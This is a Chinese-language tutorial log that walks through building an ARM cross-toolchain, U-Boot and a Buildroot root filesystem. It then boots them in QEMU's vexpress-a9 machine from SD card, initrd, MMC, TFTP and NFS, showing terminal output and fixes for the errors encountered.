libmpx2-dbg-armel-cross libquadmath0-dbg-armel-cross gdb-arm-linux-gnueabi gcc-docThe following packages will be REMOVED: gcc-multilibThe following NEW packages will be installed: binutils-arm-linux-gnueabi cpp-7-arm-linux-gnueabi cpp-arm-linux-gnueabi gcc-7-arm-linux-gnueabi gcc-7-arm-linux-gnueabi-base gcc-7-cross-base gcc-8-cross-base gcc-arm-linux-gnueabi libasan4-armel-cross libatomic1-armel-cross libc6-armel-cross libc6-dev-armel-cross libcilkrts5-armel-cross libgcc-7-dev-armel-cross libgcc1-armel-cross libgomp1-armel-cross libstdc 6-armel-cross libubsan0-armel-cross linux-libc-dev-armel-crossThe following packages will be upgraded: binutils binutils-common binutils-x86-64-linux-gnu libbinutils4 upgraded, 19 newly installed, 1 to remove and 228 not upgraded.Need to get 23.9 MB of archives.After this operation, 69.9 MB of additional disk space will be used.Do you want to continue? [Y/n]
也可以直接下载对应文件后配置:
下载地址:
http://releases.linaro.org/components/toolchain/binaries/
https://launchpad.net/gcc-arm-embedded/ download
查询安装情况:
biren@ubuntu:~$ arm-linux-gnueabi-arm-linux-gnueabi-addr2line arm-linux-gnueabi-gcov-7arm-linux-gnueabi-ar arm-linux-gnueabi-gcov-dumparm-linux-gnueabi-as arm-linux-gnueabi-gcov-dump-7arm-linux-gnueabi-c filt arm-linux-gnueabi-gcov-toolarm-linux-gnueabi-cpp arm-linux-gnueabi-gcov-tool-7arm-linux-gnueabi-cpp-7 arm-linux-gnueabi-gprofarm-linux-gnueabi-dwp arm-linux-gnueabi-ldarm-linux-gnueabi-elfedit arm-linux-gnueabi-ld.bfdarm-linux-gnueabi-gcc arm-linux-gnueabi-ld.goldarm-linux-gnueabi-gcc-7 arm-linux-gnueabi-nmarm-linux-gnueabi-gcc-ar arm-linux-gnueabi-objcopyarm-linux-gnueabi-gcc-ar-7 arm-linux-gnueabi-objdumparm-linux-gnueabi-gcc-nm arm-linux-gnueabi-ranlibarm-linux-gnueabi-gcc-nm-7 arm-linux-gnueabi-readelfarm-linux-gnueabi-gcc-ranlib arm-linux-gnueabi-sizearm-linux-gnueabi-gcc-ranlib-7 arm-linux-gnueabi-stringsarm-linux-gnueabi-gcov arm-linux-gnueabi-strip
下载、编译uboot :
下载地址:ftp://ftp.denx.de/pub/u-boot/
解压:
biren@ubuntu:~$ tar -xvf u-boot-2019.10.tar.bz2 biren@ubuntu:~$ cd u-boot-2019.10/biren@ubuntu:~/u-boot-2019.10$ ll configs/vexp*-rw-rw-r-- 1 biren biren 1251 Oct 8 2019 configs/vexpress_aemv8a_juno_defconfig-rw-rw-r-- 1 biren biren 1120 Oct 8 2019 configs/vexpress_aemv8a_semi_defconfig-rw-rw-r-- 1 biren biren 963 Oct 8 2019 configs/vexpress_ca15_tc2_defconfig-rw-rw-r-- 1 biren biren 905 Oct 8 2019 configs/vexpress_ca5x2_defconfig-rw-rw-r-- 1 biren biren 936 Oct 8 2019 configs/vexpress_ca9x4_defconfig
以vexpress_ca9x4_defconfig为示例
编译u-boot :
biren@ubuntu:~/u-boot-2019.10$ make vexpress_ca9x4_defconfig## configuration written to .config#biren@ubuntu:~/u-boot-2019.10$ make CROSS_COMPILE=arm-linux-gnueabi- all
结果:
产生的主要文件:u-boot , u-boot.bin ...
biren@ubuntu:~/u-boot-2019.10$ lsapi doc Kbuild README u-boot.cfg.configsarch Documentation Kconfig scripts u-boot.ldsboard drivers lib System.map u-boot.mapcmd dts Licenses test u-boot-nodtb.bincommon env MAINTAINERS tools u-boot.srecconfig.mk examples Makefile u-boot u-boot.symconfigs fs net u-boot.bindisk include post u-boot.cfg
测试u_boot启动:
命令:qemu-system-arm -M vexpress-a9 -m 512M -kernel ~/u-boot-2019.10/u-boot -nographic
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ qemu-system-arm -M vexpress-a9 -m 512M -kernel ~/u-boot-2019.10/u-boot -nographic U-Boot 2019.10 (Jun 23 2022 - 22:56:12 0800)DRAM: 512 MiBWARNING: Caches not enabledFlash: 128 MiBMMC: MMC: 0*** Warning - bad CRC, using default environmentIn: serialOut: serialErr: serialNet: smc911x-0Hit any key to stop autoboot: 0 MMC Device 1 not foundno mmc device at slot 1Card did not respond to voltage select!smc911x: MAC 52:54:00:12:34:56smc911x: detected LAN9118 controllersmc911x: phy initializedsmc911x: MAC 52:54:00:12:34:56BOOTP broadcast 1DHCP client bound to address 10.0.2.15 (5 ms)*** Warning: no boot file name; using '0A00020F.img'Using smc911x-0 deviceTFTP from server 10.0.2.2; our IP address is 10.0.2.15Filename '0A00020F.img'.smc911x: MAC 52:54:00:12:34:56。。。。。。Wrong Image Format for bootm commandERROR: can't get kernel image! (此时还不能启动内核)=>
打印环境变量:
=> printenvarch=armbaudrate=38400board=vexpressboard_name=vexpressboot_a_script=load ${devtype} ${devnum}:${distro_bootpart} ${scriptaddr} ${prefix}${script}; source ${scriptaddr}boot_extlinux=sysboot ${devtype} ${devnum}:${distro_bootpart} any ${scriptaddr} ${prefix}${boot_syslinux_conf}boot_prefixes=/ /boot/boot_script_dhcp=boot.scr.uimgboot_scripts=boot.scr.uimg boot.scrboot_syslinux_conf=extlinux/extlinux.confboot_targets=mmc1 mmc0 pxe dhcp bootargs=root=/dev/sda1 rw console=ttyAMA0,38400n8 mem=1024M mtdparts=armflash:1M@0x800000(uboot),7M@0x1000000(kernel),24M@0x2000000(initrd) mmci.fmax=190000 devtmpfs.mount=0 vmalloc=256Mbootcmd=run distro_bootcmd; run bootflashbootcmd_dhcp=if dhcp ${scriptaddr} ${boot_script_dhcp}; then source ${scriptaddr}; fi;bootcmd_mmc0=devnum=0; run mmc_bootbootcmd_mmc1=devnum=1; run mmc_bootbootcmd_pxe=dhcp; if pxe get; then pxe boot; fibootdelay=2 自动启动内核延时bootfile=boot.scr.uimgbootflash=run flashargs; cp ${ramdisk_addr} ${ramdisk_addr_r} ${maxramdisk}; bootm ${kernel_addr} ${ramdisk_addr_r}console=ttyAMA0,38400n8cpu=armv7distro_bootcmd=for target in ${boot_targets}; do run bootcmd_${target}; donedram=1024Methact=smc911x-0ethaddr=52:54:00:12:34:56flashargs=setenv bootargs root=${root} console=${console} mem=${dram} mtdparts=${mtd} mmci.fmax=190000 devtmpfs.mount=0 vmalloc=256Mkernel_addr=0x44100000 内核地址kernel_addr_r=0x80008000loadaddr=0x80008000maxramdisk=0x1800000mmc_boot=if mmc dev ${devnum}; then devtype=mmc; run scan_dev_for_boot_part; fimtd=armflash:1M@0x800000(uboot),7M@0x1000000(kernel),24M@0x2000000(initrd)pxefile_addr_r=0x88000000ramdisk_addr=0x44800000 根文件系统地址ramdisk_addr_r=0x61000000root=/dev/sda1 rw。。。
启动成功
退出qemu或u-boot命令模式:
ctrl a, 然后按x
另一终端窗口中输入killall qemu-system-arm
poweroff
=====================================
下载、编译、安装文件系统(buildroot制作):
下载:https://buildroot.org/downloads/
(buildroot可用于制作交叉编译、根文件系统、kernel内核、设备树dtb等)
解压:
biren@ubuntu:~ $ tar -xvf buildroot-2019.11-rc1.bz2
制作根文件、kernel方法一:自定义配置
配置:
biren@ubuntu:~$ cd buildroot-2019.11-rc1/biren@ubuntu:~/buildroot-2019.11-rc1$ make menuconfig
Target options --->
Toolchain --->
System configuration --->
Filesystem images --->
......
执行make:
biren@ubuntu:~/buildroot-2019.11-rc1$ make -j4
制作根文件、kernel方法二:用预定义的配置
biren@ubuntu:~/buildroot-2019.11-rc1$ make qemu_arm_vexpress_defconfigbiren@ubuntu:~/buildroot-2019.11-rc1$ make -j4。。。。。。mke2fs 1.45.4 (23-Sep-2019)Creating regular file /home/biren/buildroot-2019.11-rc1/output/images/rootfs.ext2Creating filesystem with 61440 1k blocks and 15360 inodesFilesystem UUID: 0bb88659-037f-4f5e-be71-e6117cb08767Superblock backups stored on blocks: 8193, 24577, 40961, 57345Allocating group tables: done Writing inode tables: done Copying files into the device: doneWriting superblocks and filesystem accounting information: done
buildroot编译结果:
生成关键的三个文件:rootfs.ext2(根文件系统), vexpress-v2p-ca9.dtb(设备树), zImage(kernel内核)
biren@ubuntu:~/buildroot-2019.11-rc1$ lsarch Config.in DEVELOPERS linux package toolchainboard Config.in.legacy dl Makefile README utilsboot configs docs Makefile.legacy supportCHANGES COPYING fs output systembiren@ubuntu:~/buildroot-2019.11-rc1$ ls outputbuild host images staging targetbiren@ubuntu:~/buildroot-2019.11-rc1$ ll output/images/total 7884-rw-r--r-- 1 biren biren 62914560 Jun 25 11:37 rootfs.ext2-rw-r--r-- 1 biren biren 14430 Jun 25 11:37 vexpress-v2p-ca9.dtb-rw-r--r-- 1 biren biren 4134576 Jun 25 11:37 zImage
====================================
内核zImage启动测试:(方法一,用到-sd, mmcblk0参数)
启动命令:qemu-system-arm -M vexpress-a9 -m 512M -kernel zImage -dtb vexpress-v2p-ca9.dtb -nographic -sd rootfs.ext2 -append "root=/dev/mmcblk0 rw console=ttyAMA0 init=/linuxrc"
参数说明 :
-kernel : 指定内核文件
-dtb: 指定设备树文件
-sd : 指定sd设备文件(此处存放根文件系统),类似有-hda(对应root=/dev/sda)
-nographic : 非图形模式
-append : 即bootargs启动命令行配置,root指定根文件系统挂载点,console指定输出接口,init指定启动后运行的第一个命令(程序 )
-m : 内存大小
-M : 指定虚拟主板
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ qemu-system-arm -M vexpress-a9 -m 512M -kernel zImage -dtb vexpress-v2p-ca9.dtb -append "root=/dev/mmcblk0 console=tty0 init=/linuxrc" -nographic -sd rootfs.ext2WARNING: Image format was not specified for 'rootfs.ext2' and probing guessed raw. Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. Specify the 'raw' format explicitly to remove the restrictions.qemu-system-arm: Invalid SD card size: 60 MiBSD card size has to be a power of 2, e.g. 64 MiB.You can resize disk images with 'qemu-img resize <imagefile> <new-size>'(note that this will lose data if you make the image smaller than it currently is).
出现错误 :SD card size has to be a power of 2, e.g. 64 MiB.
即SD文件的大小应是2的n次方
解决:修改文件大小
命令:qemu-img resize <imagefile> <new-size>
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ cp rootfs.ext2 rootfs-copy.ext2biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ qemu-img resize rootfs.ext2 64MImage resized.
或者用dd命令新建一个64M的rootfs.img镜像文件,然后将数据复制进去:
dd if=/dev/zero of=rootfs.img bs=1M count=64
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ dd if=/dev/zero of=rootfs.img bs=1M count=6464 0 records in64 0 records out67108864 bytes (67 MB, 64 MiB) copied, 0.134254 s, 500 MB/sbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ mkfs.ext2 rootfs.imgmke2fs 1.44.1 (24-Mar-2018)Discarding device blocks: done Creating filesystem with 65536 1k blocks and 16384 inodesFilesystem UUID: 01d8344a-685d-420e-82f6-6b6d24c6d2d7Superblock backups stored on blocks: 8193, 24577, 40961, 57345Allocating group tables: done Writing inode tables: done Writing superblocks and filesystem accounting information: donebiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ mkdir tmpfsbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo mount rootfs-copy.ext2 tmpfsbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo mount -o loop rootfs.img /mntbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo cp -a tmpfs/* /mntbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo umount tmpfsbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo umount /mnt
新的文件:
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ lltotal 174457-rw-r--r-- 1 biren biren 62914560 Jun 30 17:04 rootfs-copy.ext2-rw-r--r-- 1 biren biren 67108864 Jun 30 16:54 rootfs.ext2 新的文件-rw-rw-r-- 1 biren biren 67108864 Jun 30 17:03 rootfs.img 新的文件-rw-rw-r-- 1 biren biren 134217728 Jun 28 16:49 sdcard.imgdrwxr-xr-x 18 root root 1024 Jun 25 11:37 tmpfs/-rw-r--r-- 1 biren biren 14430 Jun 25 11:37 vexpress-v2p-ca9.dtb-rw-r--r-- 1 biren biren 4134576 Jun 25 11:37 zImage
重新启动内核zImage:
根文件系统用rootfs.img或rootfs.ext2都行
(有些是没有dtb的,编译内核时有参数指定)
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ qemu-system-arm -M vexpress-a9 -m 512M -kernel zImage -dtb vexpress-v2p-ca9.dtb -nographic -sd rootfs.img -append "root=/dev/mmcblk0 console=ttyAMA0 init=/linuxrc"WARNING: Image format was not specified for 'rootfs.img' and probing guessed raw. Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. Specify the 'raw' format explicitly to remove the restrictions.Welcome to Buildroot 正常启动。。。。。。buildroot login: root (无密码)# # pwd/root# ls /bin lib lost found opt run tmpdev lib32 media proc sbin usretc linuxrc mnt root sys var
警告:Image format was not specified for 'rootfs.img' and probing guessed raw.
可以用 -drive format=raw,file=rootfs.img解决
==================================
启动内核方法二:(用到-initrd,ram0参数)
命令:
qemu-system-arm -M vexpress-a9 -m 512M -kernel zImage -dtb vexpress-v2p-ca9.dtb -initrd rootfs.ext3 -nographic -append "root=/dev/ram0 rw console=ttyAMA0 init=/linuxrc"
与前面区别:这里没有用-sd选项,用的是-initrd rootfs.ext3
另外挂载点改为:root=/dev/ram0或root=/dev/ram
(此处的rootfs.ext3是从rootfs.ext2复制过来重新制成ext3格式,大小4M,可用dd制作)
(rootfs.ext3, rootfs.ext3.gz, rootfs.ext3.ramdisk都可用)
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ ll rootfs.ext3*-rw-rw-r-- 1 biren biren 4194304 Jul 13 22:29 rootfs.ext3-rw-rw-r-- 1 biren biren 789675 Jul 6 10:47 rootfs.ext3.gz gzip压缩文件-rw-rw-r-- 1 biren biren 4194368 Jul 6 11:24 rootfs.ext3.ramdisk 用mkimage制成的,加64字节头
值得注意的是编译内核时需要选上支持ram disk的相关选项:
配置buildroot:
命令:make qemu_arm_vexpress_defconfig
biren@ubuntu:~/buildroot-2019.11-rc1$ make qemu_arm_vexpress_defconfigbiren@ubuntu:~/buildroot-2019.11-rc1$ make menuconfig
> Filesystem images :
ext2/3/4 root filesystem
(60M) exact size 根文件系统的大小为60M(实际只占用几百K)
配置内核:
命令:make linux-menuconfig
biren@ubuntu:~/buildroot-2019.11-rc1$ make linux-menuconfig
> General setup :
Initial RAM filesystem and RAM disk (initramfs/initrd) support
Support initial ramdisk/ramfs compressed using gzip
> Device Drivers > Block devices :
Default RAM disk size (kbytes) 指定ramdisk的大小,启动时在-initrd参数中指定的文件大小不能超过此值
> File systems :
Second extended fs support(ext2) ...
启动内核方法三:从MMC加载内核
(先启动u-boot - 加载内核到RAM - bootz启动)
一、先制作sdcard.img文件
创建128M文件
格式化为vfat
挂载到/mnt
复制zImage、rootfs.ext2、vexpress-v2p-ca9.dtb到/mnt
取消挂载点/mnt
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ dd if=/dev/zero of=sdcard.img bs=4096 count=3276825600 0 records in25600 0 records out104857600 bytes (134 MB, 128 MiB) copied, 0.818929 s, 128 MB/sbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ mkfs.vfat sdcard.img mkfs.fat 4.1 (2017-01-24)biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo mount -rw -o loop sdcard.img /mntbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo cp zImage /mntbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo cp rootfs.ext2 /mntbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo cp vexpress-v2p-ca9.dtb /mntbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ ll /mnttotal 65514-rwxr-xr-x 1 root root 62914560 Jun 28 16:44 rootfs.ext2*-rwxr-xr-x 1 root root 14430 Jun 28 16:44 vexpress-v2p-ca9.dtb*-rwxr-xr-x 1 root root 4134576 Jun 28 16:44 zImage*biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo umount /mnt
二、启动u-boot
命令:qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -sd sdcard.img -nographic
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -nographic -sd sdcard.imgWARNING: Image format was not specified for 'sdcard.img' and probing guessed raw. Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. Specify the 'raw' format explicitly to remove the restrictions.U-Boot 2019.10 (Jun 23 2022 - 22:56:12 0800)DRAM: 512 MiBWARNING: Caches not enabledFlash: 128 MiBMMC: MMC: 0*** Warning - bad CRC, using default environmentIn: serialOut: serialErr: serialNet: smc911x-0Hit any key to stop autoboot: 0 MMC Device 1 not foundno mmc device at slot 1switch to partitions #0, OKmmc0 is current device** Invalid partition 1 **smc911x: MAC 52:54:00:12:34:56smc911x: detected LAN9118 controllersmc911x: phy initializedsmc911x: MAC 52:54:00:12:34:56。。。TFTP error: trying to overwrite reserved memory...smc911x: MAC 52:54:00:12:34:56Wrong Image Format for bootm commandERROR: can't get kernel image! (此时还没有启动内核)=>
三、将zImage、rootfs.ext2、vexpress-v2p-ca9.dtb从sd中加载到DRAM内存中:
命令:fatload mmc 0:0 0x62008000 zImage
(加载地址自拟,只要不重叠即可)
=> fatload mmc 0:0 0x62008000 zImage4134576 bytes read in 2344 ms (1.7 MiB/s)=> fatload mmc 0:0 0x62A08000 rootfs.ext262914560 bytes read in 36366 ms (1.6 MiB/s)=> fatload mmc 0:0 0x68E08000 vexpress-v2p-ca9.dtb14430 bytes read in 40 ms (351.6 KiB/s)
四、启动内核
命令:bootz [addr [initrd[:size]] [fdt]]
如:bootz 62008000 62A08000 68E08000
无initrd时用“-”代替
如:bootz 62008000 - 68E08000
=> bootz 62008000 62A08000 68E08000Kernel image @ 0x62008000 [ 0x000000 - 0x3f16b0 ]Wrong Ramdisk Image FormatRamdisk image is corrupt or invalid
错误 :Wrong Ramdisk Image Format
解决:使用mkimage命令将根文件系统制成uImage格式的文件
命令:mkimage -n 'uboot ext2 ramdisk rootfs' -A arm -O linux -T ramdisk -C none -d rootfs.ext2 rootfs.ext2.ramdisk
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ mkimage -n 'uboot ext2 ramdisk rootfs' -A arm -O linux -T ramdisk -C none -d rootfs.ext2 rootfs.ext2.ramdisk Image Name: uboot ext2 ramdisk rootfsCreated: Tue Jul 5 19:58:27 2022Image Type: ARM Linux RAMDisk Image (uncompressed)Data Size: 62914560 Bytes = 61440.00 KiB = 60.00 MiBLoad Address: 00000000Entry Point: 00000000biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ ll-rwxr-xr-x 1 biren biren 62914560 Jun 28 16:44 rootfs.ext2*-rw-rw-r-- 1 biren biren 62914624 Jul 5 19:58 rootfs.ext2.ramdisk-rw-rw-r-- 1 biren biren 134217728 Jul 5 19:57 sdcard.imgdrwxr-xr-x 2 root root 16384 Jan 1 1970 tmpfs/-rw-r--r-- 1 biren biren 14430 Jun 25 11:37 vexpress-v2p-ca9.dtb-rw-r--r-- 1 biren biren 4134576 Jun 25 11:37 zImage
新的根文件系统文件:rootfs.ext2.ramdisk
将rootfs.ext2.ramdisk存入sdcard.img中:
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo mount -o loop sdcard.img tmpfsbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo cp rootfs.ext2.ramdisk tmpfsbiren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo umount tmpfs
再运行二到四步:
qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -sd sdcard.img -nographicfatload mmc 0:0 0x62008000 zImage;fatload mmc 0:0 0x62A08000 rootfs.ext2.ramdisk;fatload mmc 0:0 0x68E08000 vexpress-v2p-ca9.dtbsetenv bootargs root=/dev/ram rw console=ttyAMA0,115200 init=/linuxrcbootz 62008000 62A08000 68E08000
启动内核方法四:用tftp加载内核
先进行qemu网络功能配置:
查看tun是否安装:
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ grep CONFIG_TUN= /boot/config-`uname -r`CONFIG_TUN=y或用如下查询 :biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ ll /dev/net/tuncrw-rw-rw- 1 root root 10, 200 Jul 17 10:51 /dev/net/tun如果没有tun则用如下命令增加:mknod /dev/net/tun c 10 200
ubuntu里安装桥接工具:
命令:sudo apt-get install uml-utilities bridge-utils
ubuntu里创建tap0 :
查看当前网络:
命令:ip addr 或ip a 或ip address
或用:ifconfig
biren@ubuntu:~$ ip a1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:ad:94:63 brd ff:ff:ff:ff:ff:ff inet 192.168.153.146/24 brd 192.168.153.255 scope global dynamic noprefixroute ens33 valid_lft 1657sec preferred_lft 1657sec inet6 fe80::1800:85cd:fb23:2de/64 scope link noprefixroute valid_lft forever preferred_lft forever
网口名是ens33,ip是192.168.153.146
虚拟机ubuntu与win10连接用的是NAT方式
创建tap0命令:
sudo ip tuntap add dev tap0 mode tap
sudo ip link set dev tap0 up
sudo ip address add dev tap0 192.168.153.170/24
biren@ubuntu:~$ sudo ip tuntap add dev tap0 mode tapbiren@ubuntu:~$ sudo ip link set dev tap0 upbiren@ubuntu:~$ sudo ip address add dev tap0 192.168.153.170/24biren@ubuntu:~$ ifconfigens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.153.146 netmask 255.255.255.0 broadcast 192.168.153.255 inet6 fe80::1800:85cd:fb23:2de prefixlen 64 scopeid 0x20<link> ether 00:0c:29:ad:94:63 txqueuelen 1000 (Ethernet) RX packets 2430 bytes 3084008 (3.0 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1452 bytes 118503 (118.5 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 207 bytes 16767 (16.7 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 207 bytes 16767 (16.7 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0tap0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 192.168.153.170 netmask 255.255.255.0 broadcast 0.0.0.0 ether be:6a:b3:80:db:9d txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
配置TFTP服务器:
一、在主机ubuntu上搭建tftp服务器
安装tftp-hpa、 tftpd-hpa、 xinetd三个包文件
biren@ubuntu:~$ sudo apt-get install tftp-hpa tftpd-hpa xinetd
二、建立ftp文件夹,并修改为777权限
biren@ubuntu:~$ mkdir tftpFilebiren@ubuntu:~$ chmod 777 tftpFile
三、修改/etc/default/tftpd-hpa
将
# /etc/default/tftpd-hpaTFTP_USERNAME="tftp"TFTP_DIRECTORY="/var/lib/tftpboot"TFTP_ADDRESS=":69"TFTP_OPTIONS="--secure"
修改为:
# /etc/default/tftpd-hpaTFTP_USERNAME="tftp"TFTP_DIRECTORY="/home/biren/tftpFile"TFTP_ADDRESS=":69"TFTP_OPTIONS="--secure"
四、新建/etc/xinetd.d/tftp文件,内容如下:
server tftp{ protocol = udp flags = IPv4 socket_type = dgram user = root server = /usr/sbin/in.tftpd server_args = -s /home/biren/tftpFile wait = yes disable = no per_source = 11 cps = 100 2}
五、启动tftp服务
sudo service tftpd-hpa start出现tftp>命令符正常:biren@ubuntu:~$ tftp localhosttftp>
六、将zImage、rootfs.ext3.ramdisk、vexpress-v2p-ca9.dtb复制到/home/biren/tftpFile/里
biren@ubuntu:~/tftpFile$ pwd/home/biren/tftpFilebiren@ubuntu:~/tftpFile$ lltotal 8296drwxrwxrwx 2 biren biren 4096 Aug 18 18:59 ./drwxr-xr-x 32 biren biren 4096 Aug 18 16:15 ../-rw-rw-r-- 1 biren biren 4194368 Jul 6 11:24 rootfs.ext3.ramdisk-rw-r--r-- 1 biren biren 14430 Jul 13 17:24 vexpress-v2p-ca9.dtb-rw-r--r-- 1 biren biren 4268720 Jul 13 17:24 zImage
带网络参数的启动u-boot :
命令:sudo /usr/local/qemu6.2.0/bin/qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -sd sdcard.img -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no
参数说明:
-net nic 建立虚拟网卡
-net tap,ifname=tap0 在host上产生一个tap0接口
script, donwscript指定启动时的网络配置脚本,如果不指定时则会自动查找/etc/qemu-ifup和/etc/qemu-ifdown来运行
启动后,设置qemu的ip为192.168.153.160 ,
设置serverip为192.168.153.170 :
=> setenv ipaddr 192.168.153.160=> setenv serverip 192.168.153.170=> ping 192.168.153.170smc911x: MAC 52:54:00:12:34:56smc911x: detected LAN9118 controllersmc911x: phy initializedsmc911x: MAC 52:54:00:12:34:56Using smc911x-0 devicesmc911x: MAC 52:54:00:12:34:56host 192.168.153.170 is alive=>
设置启动参数:
=> setenv bootargs 'root=/dev/mmcblk0 rw console=ttyAMA0 init=/linuxrc'
用tftp命令加载启动文件到内存:
源:192.168.153.170:/home/biren/tftpFile/
目的地:qemu的起始地址为0x62008000、0x62508000、0x62a08000的内存处
命令:
tftp 62008000 zImage 从/home/biren/tftpFile/加载内核
tftp 62508000 rootfs.ext3.ramdisk 加载根文件系统
tftp 62a08000 vexpress-v2p-ca9.dtb 加载设备树
=> tftp 62008000 zImagesmc911x: MAC 52:54:00:12:34:56smc911x: detected LAN9118 controllersmc911x: phy initializedsmc911x: MAC 52:54:00:12:34:56Using smc911x-0 deviceTFTP from server 192.168.153.170; our IP address is 192.168.153.160Filename 'zImage'.Load address: 0x62008000Loading: ######################### 1.4 MiB/sdoneBytes transferred = 4268720 (4122b0 hex)smc911x: MAC 52:54:00:12:34:56=> tftp 62508000 rootfs.ext3.ramdisk=> tftp 62a08000 vexpress-v2p-ca9.dtb
启动内核:
=> bootz 62008000 62508000 62a08000
启动到最后时出现错误:
can't open /dev/ttyAMA0: No such file or directory
解决方法一:
将启动bootargs参数
setenv bootargs 'root=/dev/mmcblk0 rw console=ttyAMA0 init=/linuxrc'
改为:
setenv bootargs 'root=/dev/ram rw console=ttyAMA0 init=/linuxrc'
解决方法二:
将启动命令:
sudo /usr/local/qemu6.2.0/bin/qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -sd sdcard.img -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no
改为:(即用-sd挂载根文件系统)
sudo /usr/local/qemu6.2.0/bin/qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -sd rootfs.ext3 -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no
将启动内核命令改为即可:
bootz 62008000 - 62a08000
另一个可能的原因是:
没有勾选devtmpfs filesystem
通过以下方式选中并重新编译
biren@ubuntu:~/buildroot-2019.11-rc1$ make linux-menuconfig
Device Drivers ---> Generic Driver Options --->
[*] Maintain a devtmpfs filesystem to mount at /dev
[*] Automount devtmpfs at /dev, after the kernel mounted the rootfs
启动内核方法五:用nfs加载内核(自动)
1、安装nfs-kernel-server , nfs-common
命令:sudo apt-get install nfs-kernel-server nfs-common
2、创建共享文件夹:
biren@ubuntu:~$ mkdir nfsFilebiren@ubuntu:~/nfsFile$ pwd/home/biren/nfsFile
3、在/etc/exports中加入一行:
/home/biren/nfsFile *(rw,sync,no_root_squash)
4、重启nfs服务:
sudo service nfs-kernel-server restart
5、配置tap0网络命令(ubuntu):
sudo ip tuntap add dev tap0 mode tap
sudo ip link set dev tap0 up
sudo ip address add dev tap0 192.168.153.170/24
也可以使用以下命令:
sudo tunctl -u $USER -t tap0 (生成一个tap0接口)sudo ifconfig tap0 192.168.153.170删除tap0接口:sudo tunctl -d tap0sudo ifconfig tap0 192.168.153.170 down 卸载网卡删除网桥:sudo brctl delbr br0
6、启动仿真qemu
命令:
sudo /usr/local/qemu6.2.0/bin/qemu-system-arm -M vexpress-a9 -m 512M -kernel zImage -dtb vexpress-v2p-ca9.dtb -sd sdcard.img -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no -append "root=/dev/nfs rw nfsroot=192.168.153.170:/home/biren/nfsFile ip=192.168.153.160:192.168.153.170::::eth0:off console=ttyAMA0 init=/linuxrc"错误一:
VFS: Cannot open root device "nfs" or unknown-block(2,0): error -6
VFS: Unable to mount root fs via NFS, trying floppy.VFS: Cannot open root device "nfs" or unknown-block(2,0): error -6 Please append a correct "root=" boot option;Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(2,0)
原因:
内核的nfs版本要与ubuntu中的server nfs版本一致
内核支持的nfs版本:
> File systems > Network File Systems
ubuntu server nfs版本查询命令:nfsstat
解决:
在启动命令上加入nfs版本v3
